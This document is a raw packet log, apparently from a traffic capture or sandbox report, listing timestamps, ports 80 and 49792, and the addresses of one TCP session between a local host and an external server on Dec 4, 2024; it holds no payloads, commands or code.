Dec 4, 2024 15:12:30.878911972 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.878923893 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.878966093 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.879816055 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.879867077 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.879882097 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.879894018 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.879934072 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.880851984 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.881068945 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.881139040 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.881151915 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.881151915 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.881221056 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.882071972 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.882117987 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.882129908 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.882184029 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.883280993 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.883325100 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.883414030 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.883425951 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.883744001 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.884160995 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.884208918 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.884219885 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.884269953 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.885067940 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.885118961 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.885134935 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.885149002 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.885186911 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.885967016 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.885988951 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.886003017 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.886043072 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.886934042 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.886981964 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.886982918 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.886996031 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.887067080 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.887875080 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.887958050 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.887969971 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.888015032 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.888896942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.888969898 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.888994932 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.889008045 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.889050007 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.889810085 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.889897108 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.889909029 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.889935970 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.890906096 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.890952110 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.890988111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.891000032 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.891036987 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.892081022 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.892137051 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.892152071 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.892190933 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.892844915 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.892884016 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.892956018 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.892967939 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.893130064 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.893716097 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.893734932 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.893747091 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.893785954 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.894639969 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.894684076 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.894709110 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.894721985 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.894805908 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.895898104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.895972013 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.895983934 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.896019936 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.896811962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.896846056 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.896856070 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.896862030 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.896919012 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.897581100 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.897872925 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.897913933 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.897938967 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.897950888 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.897998095 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.898857117 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.898946047 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.898957968 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.898979902 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.899841070 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.899882078 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.899908066 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.899920940 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.900017977 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.900789022 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.900892973 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.900903940 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.900927067 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.901783943 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.901823997 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.901899099 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.901911020 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.902029991 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.902750969 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.902822018 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.902833939 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.902870893 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.903724909 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.903810024 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.903825045 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.903831959 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.904155016 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.904670000 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.904752970 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.904763937 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.904789925 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.905700922 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.905745029 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.905788898 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.905802011 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.905838013 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.906601906 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.906660080 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.906676054 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.906717062 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.907529116 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.907613993 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.907633066 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.907643080 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.907969952 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.908653021 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.908714056 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.908725977 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.908757925 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.909506083 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.909542084 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.909567118 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.909579039 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.909610033 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.910482883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.910540104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.910552025 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.910587072 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.911992073 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.912039042 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.912070036 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.912082911 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.912115097 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.912409067 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.912498951 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.912513018 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.912542105 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.913435936 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.913477898 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.913496971 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.913510084 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.913558960 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.914375067 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.914676905 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.914711952 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.914742947 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.914753914 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.914807081 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.915699005 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.915791035 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.915802956 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.915833950 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.916656971 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.916698933 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.916783094 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.916795015 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.916831017 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.917573929 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.917627096 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.917642117 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.917686939 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.918627977 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.918673038 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.918766022 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.918777943 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.919053078 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.919622898 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.919718981 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.919732094 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.919759035 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.920559883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.920627117 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.920658112 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.920670033 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.920728922 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.921452045 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.921528101 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.921539068 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.921585083 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.922468901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.922517061 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.922550917 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.922564030 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.922605038 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.923816919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.923829079 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.923841000 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.923871994 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.924426079 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.924472094 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.924484015 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.924495935 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.924540997 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.925523043 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.925546885 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.925558090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.925597906 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.926302910 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.926364899 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.926378012 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.926381111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.926420927 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.927299976 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.927357912 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.927369118 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.927419901 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.928251982 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.928297043 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.928355932 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.928371906 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.928411961 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.929270029 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.929332972 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.929346085 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.929374933 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.929389954 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.930474997 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.930488110 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.930495024 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.930531025 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.930557966 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.931366920 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.931637049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.931704044 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.931715965 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.931749105 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.931773901 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.932710886 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.932723045 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.932734966 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.932782888 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.933572054 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.933609009 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.933628082 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.933641911 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.933861017 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.934360981 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.934427023 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.934439898 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.934493065 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.935477018 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.935543060 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.935554028 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.935574055 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.935599089 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.936316967 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.936372995 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.936408997 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.936422110 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.936450958 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.937359095 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.937417030 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.937427998 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.937558889 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.937645912 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.938301086 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.938364983 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.938376904 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.938407898 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.939189911 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.939249992 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.939274073 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.939285994 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.939321041 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.940135956 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.940212011 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.940223932 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.940269947 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.941215038 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.941267014 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.941298962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.941312075 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.941375017 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.942127943 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.942199945 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.942212105 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.942255974 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.943172932 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.943223953 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.943223953 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.943233967 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.943552971 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.944034100 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.944114923 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.944124937 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.944170952 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.945033073 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.945074081 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.945106030 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.945117950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.945161104 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.945961952 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.946047068 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.946058989 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.946079969 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.946953058 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.946993113 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.947009087 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.947067022 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.947110891 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.947896957 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.948363066 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.948381901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.948393106 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.948405027 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.948427916 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.949301958 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.949353933 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.949364901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.949409008 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.950139999 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.950184107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.950206995 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.950220108 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.950254917 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.951158047 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.951169968 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.951181889 CET	80	49792	45.200.148.86	192.168.2.10
